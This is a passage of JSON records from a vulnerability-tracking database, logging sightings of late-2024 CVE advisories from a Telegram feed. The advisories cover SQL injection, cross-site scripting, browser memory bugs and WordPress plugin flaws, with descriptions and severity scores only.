"creation_timestamp": "2024-12-19T19:50:18.000000Z"}, {"uuid": "4fdfad2b-f9a1-4032-93e4-e93d3592bdb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12784", "type": "seen", "source": "https://t.me/cvedetector/13333", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12784 - iSourcecode Vehicle Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12784 \nPublished : Dec. 19, 2024, 2:15 p.m. | 22\u00a0minutes ago \nDescription : A vulnerability was found in itsourcecode Vehicle Management System 1.0. It has been classified as critical. Affected is an unknown function of the file editbill.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T15:39:23.000000Z"}, {"uuid": "14c2d03c-e491-45c1-9fd9-6301b02ec0d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12793", "type": "seen", "source": "https://t.me/cvedetector/13355", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12793 - PbootCMS Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12793 \nPublished : Dec. 19, 2024, 6:15 p.m. | 33\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in PbootCMS up to 5.2.3. Affected by this issue is some unknown functionality of the file apps/home/controller/IndexController.php. The manipulation of the argument tag leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 5.2.4 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:50:13.000000Z"}, {"uuid": "ea9da68a-384d-4321-92e9-c5596b4aacb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12787", "type": "seen", "source": "https://t.me/cvedetector/13343", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12787 - 1000 Projects Attendance Tracking Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12787 \nPublished : Dec. 19, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : A vulnerability has been found in 1000 Projects Attendance Tracking Management System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /student/check_student_login.php. The manipulation of the argument student_emailid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T18:09:52.000000Z"}, {"uuid": "ab4e3c8e-bb92-468a-b55b-96d736b05067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12798", "type": "seen", "source": "https://t.me/cvedetector/13342", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12798 - Logback Core JaninoEventEvaluator Code Execution Armstrong\", \n  \"Content\": \"CVE ID : CVE-2024-12798 \nPublished : Dec. 19, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : ACE vulnerability in JaninoEventEvaluator  by QOS.CH logback-core  \n      upto and including version 1.5.12 in Java applications allows  \n      attacker to execute arbitrary code by compromising an existing  \n      logback configuration file or by injecting an environment variable  \n      before program execution.  \n  \n  \n  \n  \n  \nMalicious logback configuration files can allow the attacker to execute   \narbitrary code using the JaninoEventEvaluator extension.  \n  \n  \n  \nA successful attack requires the user to have write access to a   \nconfiguration file. Alternatively, the attacker could inject a malicious   \nenvironment variable pointing to a malicious configuration file. In both   \ncases, the attack requires existing privilege. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T18:09:50.000000Z"}, {"uuid": "44437caf-d25c-4828-a9de-252d0b2157ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12782", "type": "seen", "source": "https://t.me/cvedetector/13328", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12782 - Fujifilm Apeos Web Interface Improper Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12782 \nPublished : Dec. 19, 2024, 1:15 p.m. | 32\u00a0minutes ago \nDescription : A vulnerability has been found in Fujifilm Apeos C3070, Apeos C5570 and Apeos C6580 up to 24.8.28 and classified as critical. This vulnerability affects unknown code of the file /home/index.html#hashHome of the component Web Interface. The manipulation leads to improper authorization. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T14:49:10.000000Z"}, {"uuid": "29360a1d-d96e-44ce-937e-7d4d21407d63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12783", "type": "seen", "source": "https://t.me/cvedetector/13326", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12783 - Itsourcecode Vehicle Management System Cross Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12783 \nPublished : Dec. 19, 2024, 1:15 p.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in itsourcecode Vehicle Management System 1.0 and classified as problematic. This issue affects some unknown processing of the file /billaction.php. The manipulation of the argument extra-cost leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T14:49:09.000000Z"}, {"uuid": "b8ab55a9-2e7a-45ca-88c0-b1f019527f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12331", "type": "seen", "source": "https://t.me/cvedetector/13325", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12331 - Filester File Manager Pro \u2013 WordPress Unauthenticated Plugin Installation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12331 \nPublished : Dec. 19, 2024, 12:15 p.m. | 42\u00a0minutes ago \nDescription : The File Manager Pro \u2013 Filester plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'ajax_install_plugin' function in all versions up to, and including, 1.8.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to install the Filebird plugin. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T13:59:01.000000Z"}, {"uuid": "1f5d63a5-5cea-4bed-8286-4e6ee2c5d17f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12626", "type": "seen", "source": "https://t.me/cvedetector/13323", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12626 - AutomatorWP - WordPress Plugin Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12626 \nPublished : Dec. 19, 2024, 12:15 p.m. | 42\u00a0minutes ago \nDescription : The AutomatorWP \u2013 Automator plugin for no-code automations, webhooks & custom integrations in WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018a-0-o-search_field_value\u2019 parameter in all versions up to, and including, 5.0.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. When used in conjunction with the plugin's import and code action feature, this vulnerability can be leveraged to execute arbitrary code. \nSeverity: 9.6 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T13:59:00.000000Z"}, {"uuid": "338755da-05db-41d4-9fe3-1acfa52f9d3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12569", "type": "seen", "source": "https://t.me/cvedetector/13315", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12569 - HikVision XProtect Device Pack Log File Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12569 \nPublished : Dec. 19, 2024, 9:16 a.m. | 19\u00a0minutes ago \nDescription : Disclosure of sensitive information in HikVision camera driver's log file in XProtect Device Pack allows an attacker to read camera credentials stored in the Recording Server under specific conditions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T10:38:16.000000Z"}, {"uuid": "aecb6bfc-55c3-4ef2-9568-805643b18e11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12741", "type": "seen", "source": "https://t.me/cvedetector/13249", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12741 - NI DAQExpress Remote Code Execution Deserialization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12741 \nPublished : Dec. 18, 2024, 8:15 p.m. | 36\u00a0minutes ago \nDescription : A deserialization of untrusted data vulnerability exists in NI DAQExpress that may result in remote code execution. Successful exploitation requires an attacker to get a user to open a specially crafted project file. This vulnerability affects DAQExpress 5.1 and prior versions. \u00a0Please note that DAQExpress is an EOL product and will not receive any updates. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T22:04:01.000000Z"}, {"uuid": "02e4e9e9-5b3b-43a6-963c-31aed19274aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "https://t.me/cvedetector/13261", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12692 - Google Chrome V8 Type Confusion Heap Corruption\", \n  \"Content\": \"CVE ID : CVE-2024-12692 \nPublished : Dec. 18, 2024, 10:15 p.m. | 26\u00a0minutes ago \nDescription : Type Confusion in V8 in Google Chrome prior to 131.0.6778.204 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T23:44:26.000000Z"}, {"uuid": "47b94d06-9d76-4e70-bce8-8d592f8051cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://t.me/cvedetector/13260", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12695 - Google Chrome Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12695 \nPublished : Dec. 18, 2024, 10:15 p.m. | 26\u00a0minutes ago \nDescription : Out of bounds write in V8 in Google Chrome prior to 131.0.6778.204 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T23:44:25.000000Z"}, {"uuid": "9b1ab61e-7ceb-4723-89de-2ad3b2cd7504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://t.me/cvedetector/13259", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12694 - Google Chrome Use After Free Heap Corruption in Compositing\", \n  \"Content\": \"CVE ID : CVE-2024-12694 \nPublished : Dec. 18, 2024, 10:15 p.m. | 26\u00a0minutes ago \nDescription : Use after free in Compositing in Google Chrome prior to 131.0.6778.204 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T23:44:22.000000Z"}, {"uuid": "e44500ff-bf28-4a3a-9b33-73e039a4ccf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "https://t.me/cvedetector/13258", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12693 - Google Chrome V8 Out-of-Bounds Memory Access RCE\", \n  \"Content\": \"CVE ID : CVE-2024-12693 \nPublished : Dec. 18, 2024, 10:15 p.m. | 26\u00a0minutes ago \nDescription : Out of bounds memory access in V8 in Google Chrome prior to 131.0.6778.204 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T23:44:21.000000Z"}, {"uuid": "873d196a-9dce-4d15-b859-3e5c888300e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12006", "type": "seen", "source": "https://t.me/cvedetector/15234", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12006 - W3 Total Cache Unauthorized Data Modification\", \n  \"Content\": \"CVE ID : CVE-2024-12006 \nPublished : Jan. 14, 2025, 7:15 a.m. | 38\u00a0minutes ago \nDescription : The W3 Total Cache plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several functions in all versions up to, and including, 2.8.1. This makes it possible for unauthenticated attackers to deactivate the plugin as well as activate and deactivate plugin extensions. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T08:58:26.000000Z"}, {"uuid": "ea913500-2554-4a4b-9e5c-c4c5f9adf118", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "https://t.me/cvedetector/15233", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12008 - WordPress W3 Total Cache Debug Log Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12008 \nPublished : Jan. 14, 2025, 7:15 a.m. | 38\u00a0minutes ago \nDescription : The W3 Total Cache plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.8.1 through the publicly exposed debug log file. This makes it possible for unauthenticated attackers to view potentially sensitive information in the exposed log file. For example, the log file may contain nonce values that can be used in further CSRF attacks.  \nNote: the debug feature must be enabled for this to be a concern, and it is disabled by default. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T08:58:25.000000Z"}, {"uuid": "c7642edf-1fb2-4a29-90f2-b488363c846b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://t.me/cvedetector/15232", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12365 - WordPress W3 Total Cache Unauthorized Data Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12365 \nPublished : Jan. 14, 2025, 7:15 a.m. | 38\u00a0minutes ago \nDescription : The W3 Total Cache plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the is_w3tc_admin_page function in all versions up to, and including, 2.8.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to obtain the plugin's nonce value and perform unauthorized actions, resulting in information disclosure, service plan limits consumption as well as making web requests to arbitrary locations originating from the web application that can be used to query information from internal services, including instance metadata on cloud-based applications. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T08:58:24.000000Z"}, {"uuid": "577c9e9c-ca51-4a9b-822f-c78d79b0512e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/cvedetector/13251", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12686 - Citrix Privileged Remote Access (PRA) and Remote Support (RS) Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12686 \nPublished : Dec. 18, 2024, 9:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability has been discovered in Privileged Remote Access (PRA) and Remote Support (RS) which can allow an attacker with existing administrative privileges to inject commands and run as a site user. \nSeverity: 6.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T22:54:10.000000Z"}, {"uuid": "fd152934-d5b5-40ae-b248-0aaea7765e50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12948", "type": "seen", "source": "https://t.me/cvedetector/13662", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12948 - Travel Management System Travel SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12948 \nPublished : Dec. 26, 2024, 11:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Travel Management System 1.0. It has been classified as critical. This affects an unknown part of the file /detail.php. The manipulation of the argument pid leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T13:13:37.000000Z"}, {"uuid": "1170ca4d-6566-4bb8-a0a2-5c33d466fb48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12946", "type": "seen", "source": "https://t.me/cvedetector/13660", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12946 - \"1000 Projects Attendance Tracking Management System SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12946 \nPublished : Dec. 26, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in 1000 Projects Attendance Tracking Management System 1.0. This issue affects some unknown processing of the file /admin/admin_action.php. The manipulation of the argument admin_user_name leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T12:23:27.000000Z"}, {"uuid": "b323ec59-bd5a-496f-b6b4-3ce8570139bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12939", "type": "seen", "source": "https://t.me/cvedetector/13653", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12939 - Code-projects Job Recruitment SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12939 \nPublished : Dec. 26, 2024, 7:15 a.m. | 40\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Job Recruitment 1.0. It has been rated as critical. This issue affects the function add_edu of the file /_parse/_all_edits.php. The manipulation of the argument degree leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T09:02:45.000000Z"}, {"uuid": "5c9a03e8-be19-4634-a7f0-29e157b92f91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12940", "type": "seen", "source": "https://t.me/cvedetector/13652", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12940 - 1000 Projects Attendance Tracking Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12940 \nPublished : Dec. 26, 2024, 7:15 a.m. | 40\u00a0minutes ago \nDescription : A vulnerability has been found in 1000 Projects Attendance Tracking Management System 1.0 and classified as critical. This vulnerability affects unknown code of the file /admin/student_action.php. The manipulation of the argument student_id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T09:02:44.000000Z"}, {"uuid": "d22719ed-614d-4281-9d78-c86ea2f64a7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12938", "type": "seen", "source": "https://t.me/cvedetector/13651", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12938 - Simple Admin Panel SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12938 \nPublished : Dec. 26, 2024, 6:15 a.m. | 40\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Simple Admin Panel 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file updateOrderStatus.php. The manipulation of the argument record leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T08:12:35.000000Z"}, {"uuid": "ee6b03e7-3145-4707-838b-9576fcaefbda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://t.me/cvedetector/15228", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12398 - Zyxel WBE Web Management Interface Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12398 \nPublished : Jan. 14, 2025, 2:15 a.m. | 36\u00a0minutes ago \nDescription : An improper privilege management vulnerability in the web management interface of the Zyxel WBE530 firmware versions through 7.00(ACLE.3) and\u00a0WBE660S firmware versions through 6.70(ACGG.2) could allow an authenticated user with limited privileges to escalate their privileges to that of an administrator, enabling them to upload configuration files to a vulnerable device. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T03:57:35.000000Z"}, {"uuid": "34b9f98d-8735-4dca-af84-79fcdeb83122", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/cvedetector/13944", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12754 - AnyDesk Background Image Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12754 \nPublished : Dec. 30, 2024, 5:15 p.m. | 44\u00a0minutes ago \nDescription : AnyDesk Link Following Information Disclosure Vulnerability. This vulnerability allows local attackers to disclose sensitive information on affected installations of AnyDesk. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.  \n  \nThe specific flaw exists within the handling of background images. By creating a junction, an attacker can abuse the service to read arbitrary files. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-23940. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T19:18:38.000000Z"}, {"uuid": "51330228-7321-4364-aa8f-8db26df73bd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12836", "type": "seen", "source": "https://t.me/cvedetector/13943", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12836 - Delta Electronics DRASimuCAD STP File Parsing Type Confusion Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12836 \nPublished : Dec. 30, 2024, 5:15 p.m. | 44\u00a0minutes ago \nDescription : Delta Electronics DRASimuCAD STP File Parsing Type Confusion Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics DRASimuCAD. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.  \n  \nThe specific flaw exists within the parsing of STP files. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-22450. \nSeverity: 7.8 | HIGH 